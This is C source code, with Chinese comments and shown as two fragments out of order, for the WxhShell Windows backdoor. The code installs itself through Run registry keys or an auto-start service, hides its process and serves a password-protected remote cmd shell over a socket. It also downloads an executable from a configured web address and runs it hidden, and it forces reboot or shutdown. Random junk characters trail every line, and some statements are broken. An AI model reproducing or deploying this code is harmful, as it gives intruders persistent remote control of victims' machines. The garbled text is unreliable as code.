    } hC]c =$=7  
  // 关机 jjvm<;lv  
  case 'd': { pP?J(0Q~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T] EXm/  
    if(Boot(SHUTDOWN)) Sct-,K%i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vw9^otJu  
    else { N>Y`>5  
    closesocket(wsh); Dt1{]~30  
    ExitThread(0); #X"\:yN  
    } [ZURs3q  
    break; l4F4o6:]n  
    } =Gd[Qn83.%  
  // 获取shell ]Nt97eD)  
  case 's': { 2{p`"xX  
    CmdShell(wsh); p/lMv\`5  
    closesocket(wsh); GQ|kcY=  
    ExitThread(0); -5v c0"?E  
    break; z}C#+VhQ`  
  } N,'JQch},8  
  // 退出 (L|SE4  
  case 'x': { [X^JV/R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h%+8}uywZ  
    CloseIt(wsh);  R76'1o  
    break; <$Uj ~jN  
    } :`3b|u=KZ  
  // 离开 #TW$J/Jb  
  case 'q': { 9z'</tJ`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lbg6n:@  
    closesocket(wsh); 7@EYF  
    WSACleanup(); Yc?taL)  
    exit(1); _gC<%6#V`r  
    break; J-?\,N1R7  
        } _5 tw1 >  
  } QJdSNkc6  
  } @dCu]0oNI  
^#3$C?d  
  // 提示信息 gyCb\y+\a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YXI DqTA+  
} ^ ?tAt3dMI  
  } mkE*.I0=  
IH~H6US  
  return; 5\=9&{WjND  
} t s ?b[v  
&p ;};n  
// shell模块句柄 6^{ hY^Z  
int CmdShell(SOCKET sock) lBG* P>;  
{ 82J0t}:U  
STARTUPINFO si; '12|:t&7  
ZeroMemory(&si,sizeof(si)); wmo'Pl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  QV .A.DK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ` V^#Sb  
PROCESS_INFORMATION ProcessInfo; bk6$+T=>  
char cmdline[]="cmd"; ^Y'J0v2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RX2= iO"  
  return 0; "bf8[D  
} n+Ag |.,|  
Z7.)[ ;  
// 自身启动模式 P< WD_W  
int StartFromService(void) [0&Lvx  
{ &/JnAfmYqt  
typedef struct }(o/+H4  
{ GV[%P  
  DWORD ExitStatus; _L$)~},cT  
  DWORD PebBaseAddress; =r-Wy.a@  
  DWORD AffinityMask; 3gabk/  
  DWORD BasePriority; W^=89I4]  
  ULONG UniqueProcessId; er#we=h  
  ULONG InheritedFromUniqueProcessId; \o % ES  
}   PROCESS_BASIC_INFORMATION; r`B+ KQ4  
~-:CN(U  
PROCNTQSIP NtQueryInformationProcess; nr-mf]W&  
HqF8:z?v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :T{or-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KFfwZkj{  
iMA)(ZS  
  HANDLE             hProcess; \ 3LD^[qi  
  PROCESS_BASIC_INFORMATION pbi; n/|/Womr  
/Hx0=I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6op\g].P  
  if(NULL == hInst ) return 0; ^_=0.:QaW  
ZDDwh&h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CqX%V":2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kcOpO<oE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RsOK5XnQn  
#TSM#Uqe  
  if (!NtQueryInformationProcess) return 0; ^Q OvK>W<  
>b$<lo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =f|>7m.p  
  if(!hProcess) return 0; &qpA<F@7  
*ap#*}r!Nk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2 sOc]L:9  
4dok/ +Ec  
  CloseHandle(hProcess); Qdn:4yk  
)Z_i[1V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uB^]5sqfk  
if(hProcess==NULL) return 0; nx +& {hn(  
W1!eY,1}  
HMODULE hMod; tV,zz;* Oe  
char procName[255]; &%bX&;ECzf  
unsigned long cbNeeded; LPNv4lT[u  
|kd^]! _  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <qy+@t  
.iS]aJJ  
  CloseHandle(hProcess); xD#/@E1'Y  
.iYgRW=T  
if(strstr(procName,"services")) return 1; // 以服务启动 @t^ 2/H ?O  
<|_Ey)1 6  
  return 0; // 注册表启动 )~n}ieS  
} ' FK"-)s  
Wm,,OioK  
// 主模块 B)|s.Ez  
int StartWxhshell(LPSTR lpCmdLine) -s1VlS/  
{ d{m0uX56  
  SOCKET wsl; Fi`:G}   
BOOL val=TRUE; W!(Q_B  
  int port=0; Xm-63U`w5  
  struct sockaddr_in door; zKutx6=aj  
\wCL)t.cX  
  if(wscfg.ws_autoins) Install(); Ii8jY_  
P}I*SV0  
port=atoi(lpCmdLine); [K KoEZ  
`Qhh{  
if(port<=0) port=wscfg.ws_port; p(8\w-6  
:Rn9rdX  
  WSADATA data; xle29:?l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ] QEw\4M?=  
c9[5)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =3:ltI.'*I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~;W%s  
  door.sin_family = AF_INET; W{h7+X]Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RW)C<g  
  door.sin_port = htons(port); l*u@T|Fc$  
4jW{IGW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *Tlv'E.M  
closesocket(wsl); 72 6y/o  
return 1; k?#6j1pn  
} 40E[cGz$*  
neBkwXF!  
  if(listen(wsl,2) == INVALID_SOCKET) { <*+ MBF  
closesocket(wsl); ivq4/Y] -X  
return 1; pDLo`F}A  
} 0>`69&;g|  
  Wxhshell(wsl); qSd $$L^  
  WSACleanup(); fm* Hk57  
'n no)kQ"  
return 0; x,%&[ 6(  
S@#L!sT`u  
} WKf~K4BL>  
-UVWs2W'$  
// 以NT服务方式启动 rU O{-R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8f.La  
{ On^#x]  
DWORD   status = 0; 8{YxUD  
  DWORD   specificError = 0xfffffff;  V("1\  
_biJch  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D/WS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LcXMOT)s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'w2;oO  
  serviceStatus.dwWin32ExitCode     = 0; f- <6T  
  serviceStatus.dwServiceSpecificExitCode = 0; (AYD @  
  serviceStatus.dwCheckPoint       = 0; 4=Ey\Px  
  serviceStatus.dwWaitHint       = 0; 1|VJND  
/HRaX!|E#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x _K%  
  if (hServiceStatusHandle==0) return; ~ #CCRUhM  
J (h>  
status = GetLastError(); =+ p+_}C  
  if (status!=NO_ERROR) y6/X!+3+  
{ CkU=0mcY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; : [y(<TLw  
    serviceStatus.dwCheckPoint       = 0; m"R(_E5  
    serviceStatus.dwWaitHint       = 0; P]B#i1  
    serviceStatus.dwWin32ExitCode     = status; Os{qpR^<I:  
    serviceStatus.dwServiceSpecificExitCode = specificError; hgK=fHJ k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4B`Rz1QBy  
    return; MQ44uHJ  
  } 5qy}~dQ  
3o>t ~Sfi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^|C|=q~:  
  serviceStatus.dwCheckPoint       = 0; F0Hbklr  
  serviceStatus.dwWaitHint       = 0; &[kgrRF@HU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,k!a3"4+TJ  
} fR%8?6  
nQ\k{%Q  
// 处理NT服务事件,比如:启动、停止 %jk PrI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }El_.@'T &  
{ !U_L7  
switch(fdwControl) l i-YkaP  
{ O 0#Jl8  
case SERVICE_CONTROL_STOP: 9f,:j  
  serviceStatus.dwWin32ExitCode = 0; YW<2:1A|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]B4mm__  
  serviceStatus.dwCheckPoint   = 0; aTsfl  
  serviceStatus.dwWaitHint     = 0; p( *3U[1  
  { Q8?D}h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EcIQ20Z_-  
  } M>@R=f  
  return; W1 Qc1T8  
case SERVICE_CONTROL_PAUSE: >nQ yF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !\1W*6U8;  
  break; Oq6n.:8g"  
case SERVICE_CONTROL_CONTINUE: T;@>O^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]'(7T#  
  break; tHbPd.^  
case SERVICE_CONTROL_INTERROGATE: 4&e@>  
  break; ?LI9F7n  
}; p8l#=]\ ;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s.'\&B[  
} p;$9W+H0  
: !3y>bP)  
// 标准应用程序主函数 M%xL K7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s2~dmZ_B|_  
{ *GP_ut%  
S:/RYT"  
// 获取操作系统版本 1i:g /H  
OsIsNt=GetOsVer(); OL5HofgNm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); on?/tHys  
+E|ouFI  
  // 从命令行安装 9^ p{/Io  
  if(strpbrk(lpCmdLine,"iI")) Install(); |+-i'N9  
RWCS u$  
  // 下载执行文件 aa8Qs lm  
if(wscfg.ws_downexe) { bK\WdG\;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b6&NzUt34V  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?4e6w  
} #Hi]&)p_  
JWHt|zB g  
if(!OsIsNt) { 3^> a TU<Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 od*Z$Hb>'  
HideProc(); A(OfG&!  
StartWxhshell(lpCmdLine); uz3pc;0LPY  
} xY2_*#{.  
else *)1Vs'!-  
  if(StartFromService()) Wxau]uix  
  // 以服务方式启动 [P=[hj;  
  StartServiceCtrlDispatcher(DispatchTable); o!`O i5  
else ^85n9a?8  
  // 普通方式启动 8zDH<Gb  
  StartWxhshell(lpCmdLine); {$YD-bqY  
ih |Ky+!  
return 0; e=sJMzm~  
} p''"E$B/(  
 F'FZ?*a  
 x9"4vp  
|qcFmy  
=========================================== l/zC##1+.  
P<!$A  
(%yc5+f!  
!]+Z%ed`%  
V}fKV6 v9  
> ' 0 ][~  
" 6h6?BQSE  
wZ8 MhE  
#include <stdio.h> .*-w UBr  
#include <string.h> B36puz 0{  
#include <windows.h> OP`Jc$| 6  
#include <winsock2.h> ?%/u/*9rj  
#include <winsvc.h> 68<Z\WP  
#include <urlmon.h> ~X<cG=p~u  
7[v@*/W@  
#pragma comment (lib, "Ws2_32.lib") !{tiTA  
#pragma comment (lib, "urlmon.lib") Y%:0|utQC  
5b1uD>,;y  
#define MAX_USER   100 // 最大客户端连接数 rjHIQC C  
#define BUF_SOCK   200 // sock buffer uk[< 6oxz  
#define KEY_BUFF   255 // 输入 buffer $KWYe{#  
kgapTv>q  
#define REBOOT     0   // 重启 z<%g #bo  
#define SHUTDOWN   1   // 关机 76A>^Bs\/  
"lz[zFnO  
#define DEF_PORT   5000 // 监听端口 cPsn]U  
xVkTRCh  
#define REG_LEN     16   // 注册表键长度 {XD/8m(hN|  
#define SVC_LEN     80   // NT服务名长度 S=H_9io  
=lC;^&D-0/  
// 从dll定义API hMeqs+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h@;)dLo0z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1i/::4=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nt0\q'&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )R8%'X;U  
#3K,V8(  
// wxhshell配置信息 N^ s!!Sbpq  
struct WSCFG { guOSO@  
  int ws_port;         // 监听端口 Kka8cG  
  char ws_passstr[REG_LEN]; // 口令 ,{{#a*nd  
  int ws_autoins;       // 安装标记, 1=yes 0=no ur<eew@8@i  
  char ws_regname[REG_LEN]; // 注册表键名  6Z&u  
  char ws_svcname[REG_LEN]; // 服务名 ]osx.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]TBtLU3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o9Txo (tYU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qwF*(pTHq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  S2&9# 6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Yi&-m}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m io1kDq<  
=^Sw*[eiy  
}; hB7pR"P  
@>G&7r:U  
// default Wxhshell configuration o"#TZB+k  
struct WSCFG wscfg={DEF_PORT, }B=qH7u.K  
    "xuhuanlingzhe", YWRE&MQ_  
    1, w=D%D8 r2  
    "Wxhshell", UV']NH h  
    "Wxhshell", t1w2u.]  
            "WxhShell Service", UOWIiu  
    "Wrsky Windows CmdShell Service", :'y{dbKp"  
    "Please Input Your Password: ", <r<Dmn|\a  
  1, j!x<QNNX  
  "http://www.wrsky.com/wxhshell.exe", J-tq8   
  "Wxhshell.exe" J 0Hm)*  
    }; J1tzHa6  
R+{^@M&  
// 消息定义模块 Y@]);MyL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7a:*Y"f,~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4@v1jJj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z|3`0eWIG  
char *msg_ws_ext="\n\rExit."; qE0FgqRB  
char *msg_ws_end="\n\rQuit."; <mZrR3v'D  
char *msg_ws_boot="\n\rReboot..."; Dd0Qp-:2  
char *msg_ws_poff="\n\rShutdown..."; AhvvuN$n%  
char *msg_ws_down="\n\rSave to "; lk_s!<ni  
>+:r '  
char *msg_ws_err="\n\rErr!"; 6Z(*cf/s  
char *msg_ws_ok="\n\rOK!"; `10X5V@hP  
E kBae=  
char ExeFile[MAX_PATH]; qRPc %"  
int nUser = 0; /&]-I$G@  
HANDLE handles[MAX_USER]; Gefnk!;;  
int OsIsNt; {_zV5 V  
[`.3f'")j  
SERVICE_STATUS       serviceStatus; Km)X_}|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xd^&_P$=  
q%-&[%l  
// 函数声明 lf%b0na?r  
int Install(void); >f\zCT%cf  
int Uninstall(void); -BA"3 S  
int DownloadFile(char *sURL, SOCKET wsh); ~$4]HDg  
int Boot(int flag); #\pP2  
void HideProc(void); b JfD\  
int GetOsVer(void); # 0GGc.  
int Wxhshell(SOCKET wsl); I9}+(6  
void TalkWithClient(void *cs); :tMre^oP  
int CmdShell(SOCKET sock); 3P//H8 8LY  
int StartFromService(void); x.b; +p}=  
int StartWxhshell(LPSTR lpCmdLine); $ViojW>  
4}Q O!(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4%wq:y< )/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $D QD$  
.pZo(*  
// 数据结构和表定义 #PPR"w2g  
SERVICE_TABLE_ENTRY DispatchTable[] = (2z%U  
{ e0f":Vct  
{wscfg.ws_svcname, NTServiceMain}, >ik1]!j]Lv  
{NULL, NULL} ]3L@$`ys  
}; J3;Tm~KJ_  
h/I@_?k+  
// 自我安装 3`58ah  
int Install(void) v%lv8Lar'  
{ $sEB'>:  
  char svExeFile[MAX_PATH]; ?"{QK:`  
  HKEY key; PZys  u  
  strcpy(svExeFile,ExeFile); > P<z |8  
jg[5UTkcs  
// 如果是win9x系统,修改注册表设为自启动 P*pbwV#|  
if(!OsIsNt) { r\(v+cd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S:ls[9G[3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9i0M/vx  
  RegCloseKey(key); LZ~2=Y< U(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TdQ ]G2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :T_'n,  
  RegCloseKey(key); j]pohxn$5  
  return 0; sFLcOPj-%  
    } k}D[Hp:m  
  } q*L ]  
} sN m,Fmuz:  
else { oW^k7 #<e}  
~xS@]3n=  
// 如果是NT以上系统,安装为系统服务 jCzGus!rM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^8:VWJM  
if (schSCManager!=0) ql^g~b  
{ /xcJo g~F,  
  SC_HANDLE schService = CreateService QhsMd- v  
  ( 9C_*3?6  
  schSCManager, s=MT,  
  wscfg.ws_svcname, -b cG[W3  
  wscfg.ws_svcdisp, \a"i7Caa  
  SERVICE_ALL_ACCESS, oEJaH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  *p=fi  
  SERVICE_AUTO_START, cTM$ZNin  
  SERVICE_ERROR_NORMAL, 7_DG 5nT  
  svExeFile, D!oZ?dGCo6  
  NULL, ]/Vh{d|I&  
  NULL, )s7bJjT0=X  
  NULL, V1<ow'^i  
  NULL, %`#G92Z_  
  NULL C\ vC?(n  
  ); QU.0Elw  
  if (schService!=0) OB~C}'^$  
  { P/ci/y_1  
  CloseServiceHandle(schService); GuT6K}~|D  
  CloseServiceHandle(schSCManager); X~lZOVmS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #e/2C  
  strcat(svExeFile,wscfg.ws_svcname); T|ZF/&XP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3:l DL2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9`B0fv Q&  
  RegCloseKey(key); XYe~G@Q Z  
  return 0; ,yICNtP  
    } RlrZxmPV>O  
  } id^|\hDR  
  CloseServiceHandle(schSCManager); 6 }!Z"  
} pTWg m\h  
} a9=>r  
8lwFAiC8  
return 1; h3kaD  
} q +R*Hi  
9RQU?  
// 自我卸载 Gzw@w{JBL  
int Uninstall(void) A:eFd]E{(  
{ PL@~Ys0  
  HKEY key; FEF"\O|Q  
L}$z/jo  
if(!OsIsNt) { +{.780|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }X]\VSF{  
  RegDeleteValue(key,wscfg.ws_regname); Kq&qE>Ju  
  RegCloseKey(key); 2Z)4(,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,h^r:g  
  RegDeleteValue(key,wscfg.ws_regname); %:3'4;jh%  
  RegCloseKey(key); ?6f7ld5  
  return 0; 9@n diu[  
  } |jT2W  
} %x2 uP9  
} n!G.At'JP  
else { |O-`5_z$r  
9_ZBV{   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yHNuU)Ft  
if (schSCManager!=0) 7X}TB\N1  
{ sw$2d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R,F gl2  
  if (schService!=0) %X>FVlPm  
  { gO='A(Y  
  if(DeleteService(schService)!=0) { WULAty  
  CloseServiceHandle(schService); =A@>I0(7  
  CloseServiceHandle(schSCManager); R_1qn  
  return 0; ~U$":~H[  
  } )JhT1j Qc  
  CloseServiceHandle(schService); s\gp5MT  
  } nO{ x^b <  
  CloseServiceHandle(schSCManager); nA_%2F'W}  
} o5swH6Y.)J  
} iA'As%S1  
/[ K_ &  
return 1; m`y9Cuk  
} dU]/$7  
H(|AH;?ou  
// 从指定url下载文件 F_=1;,K%  
int DownloadFile(char *sURL, SOCKET wsh) I{ ryD -!  
{ ?mx\eX{  
  HRESULT hr; -\#lF?fzb  
char seps[]= "/"; &gn-Wb?  
char *token; [Atc "X$  
char *file; Fi2xr<7"  
char myURL[MAX_PATH]; 2-dh;[4  
char myFILE[MAX_PATH]; 3K>gz:dt  
kz B\'m,l  
strcpy(myURL,sURL); khx.yRx  
  token=strtok(myURL,seps); raE Mm  
  while(token!=NULL) 19c@`?  
  { 2&he($HIzg  
    file=token; KjYAdia:H  
  token=strtok(NULL,seps); ^m!_ 2_q  
  } 1J{fXh  
<T+!V-Pj*  
GetCurrentDirectory(MAX_PATH,myFILE); &!L:"]=+  
strcat(myFILE, "\\"); P4k;O?y  
strcat(myFILE, file); #.._c?%4/  
  send(wsh,myFILE,strlen(myFILE),0); Y$<D9f s3  
send(wsh,"...",3,0); pKT2^Q}-h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]Gv!M?:  
  if(hr==S_OK) RWKH%C[Yd  
return 0; FhkkW W L  
else 3mO;JXd  
return 1; m$wlflt  
9QwKakci  
} mwC=o5O  
bsS:"/?>  
// 系统电源模块 ]< XR]FHx)  
int Boot(int flag) n~.*1. P  
{ v2)g 1sXd  
  HANDLE hToken; 5~H#(d<oZ  
  TOKEN_PRIVILEGES tkp; ZmEEj-*7s  
DyO$P#~?  
  if(OsIsNt) { 7 oQ[FdRn*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mi,&0xDe a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9\JQ7$B  
    tkp.PrivilegeCount = 1; SA;#aj}rV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y?K{(szo ?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xY<{qHcX  
if(flag==REBOOT) { Vh|\_~9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A+getdr  
  return 0; 2;2}wM[  
} -e*ZCwQ  
else { ,7_4 z]jK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h-#1U3d  
  return 0; LP];x3  
} #8XL :I  
  } k@dN$O%p  
  else { 7f{=w, U  
if(flag==REBOOT) { \ZI'|Ad  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;dR=tAf0$Q  
  return 0; ?D`T7KSe~D  
} ?6^|ZtB  
else { 7zemr>sIh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W-efv  
  return 0; n.}E5 %qK  
} Cbm\h/PXl  
} p-GAe,2q  
T;5r{{  
return 1; #,d I$gY  
} ntVS:F  
vBcq_sbo  
// win9x进程隐藏模块 Pe;Y1Qq>>  
void HideProc(void) 3qL>-%):*  
{ vy9 w$ls  
jszK7$]^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -n80 &  
  if ( hKernel != NULL ) m908jI_So  
  { r!PpUwod  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^T::-pN*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iBTYY{-wF  
    FreeLibrary(hKernel); S! v(+|  
  } t. ='/`!N  
#S]ER907  
return; qOih`dla  
} q 11IkDa  
;r[@v347  
// 获取操作系统版本 (QoI<j""  
int GetOsVer(void) ZyrI R  
{ `-h8vj5uG  
  OSVERSIONINFO winfo; h:Gu`+D>W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z`UhB%-?  
  GetVersionEx(&winfo); >TkE~7?l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2;a(8^n  
  return 1; jRSUp E8  
  else }|u4 W?H  
  return 0; ,EGQ@:3/  
} KGH/^!u+R  
y){ k3lm0  
// 客户端句柄模块 1 i[\T  
int Wxhshell(SOCKET wsl) {8)zg<rL+M  
{ npJt3 Y_I  
  SOCKET wsh; D=m 'pL/pl  
  struct sockaddr_in client; SCvVt  
  DWORD myID; 2'EUy@0  
jB{4\)  
  while(nUser<MAX_USER) hd),&qoW?  
{ aT>'.*\]  
  int nSize=sizeof(client); mGp.3{j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); if|+EN%  
  if(wsh==INVALID_SOCKET) return 1; <Ln1pV~k  
S}p4iE"n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s<qe,' Y  
if(handles[nUser]==0) P9g en6  
  closesocket(wsh); V=:'SL*3|  
else \7Jg7*  
  nUser++; V-<GT ?  
  } g35DV6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Tq]Sn]CSP  
=jB08A  
  return 0; [<DZ*|+  
} KD`IX-r{s  
&l3iV88  
// 关闭 socket Oo"^%F~%  
void CloseIt(SOCKET wsh) Ag{iq(X  
{ d&ex5CU5  
closesocket(wsh); ^*P%=>zO  
nUser--; &|f@$ff  
ExitThread(0); 8GvJ0Jq}U  
} rM'=_nmi  
5R(/Uiv3F  
// 客户端请求句柄 \,u_7y2 c  
void TalkWithClient(void *cs) nqInb:  
{ ne 4Q#P  
bGc~Wr|  
  SOCKET wsh=(SOCKET)cs; Vx~,Uex0+  
  char pwd[SVC_LEN]; uc;8 K,[t  
  char cmd[KEY_BUFF]; n4}B r;%  
char chr[1]; tmQH|'>>  
int i,j; 8 7D*-Gw  
/YZr~|65  
  while (nUser < MAX_USER) { E\Rhz]G(  
x>Zn?YR,"  
if(wscfg.ws_passstr) { NR`C(^}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {zMU#=EC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "?V0$-DR  
  //ZeroMemory(pwd,KEY_BUFF); i_j[?.?X}  
      i=0; &YF^j2  
  while(i<SVC_LEN) { 1v71rf&w  
Q_[ 3`j l  
  // 设置超时 O^oWG&Y;v  
  fd_set FdRead; vQ;Ex  
  struct timeval TimeOut; 9I6a"PGDb  
  FD_ZERO(&FdRead); H Z'_r cv  
  FD_SET(wsh,&FdRead); 0u;4%}pD  
  TimeOut.tv_sec=8; |Y?H A&  
  TimeOut.tv_usec=0; zd @m~V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <1uZa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rJGf .qJJ  
wK?vPS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Tj:B!>>  
  pwd=chr[0]; |S_eDjF  
  if(chr[0]==0xd || chr[0]==0xa) { -[cTx[Z,  
  pwd=0; HMSO=)@+  
  break; Qk:Y2mL  
  } 8fl`r~bqZ  
  i++; ZrsBm_Rx  
    } /;oX)]W  
"N`[r iq{  
  // 如果是非法用户,关闭 socket kqFP)!37  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '<"s \,  
} @7IIM{  
` @`CG[-9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }H^+A77v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )h7<?@wv&  
e)d`pQ6  
while(1) { <J) ]mh dm  
'@_d(N1jTw  
  ZeroMemory(cmd,KEY_BUFF); |olA9mp|]  
nAv#?1cjz  
      // 自动支持客户端 telnet标准   37s0e;aF  
  j=0; ,J+}rPe"sf  
  while(j<KEY_BUFF) { ,U2*FZ["  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'Gj3:-xqL  
  cmd[j]=chr[0]; 9Z4nAc  
  if(chr[0]==0xa || chr[0]==0xd) { ]n6#VTz*  
  cmd[j]=0; ]s<[D$ <,  
  break; OCe!.`  
  } 6 (]Dh;gC  
  j++; l3)} qu  
    } }\B><E{G  
pFOx>u2`a  
  // 下载文件 k>;`FFQU>  
  if(strstr(cmd,"http://")) { HiZ*+T.B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q'=x|K#xj  
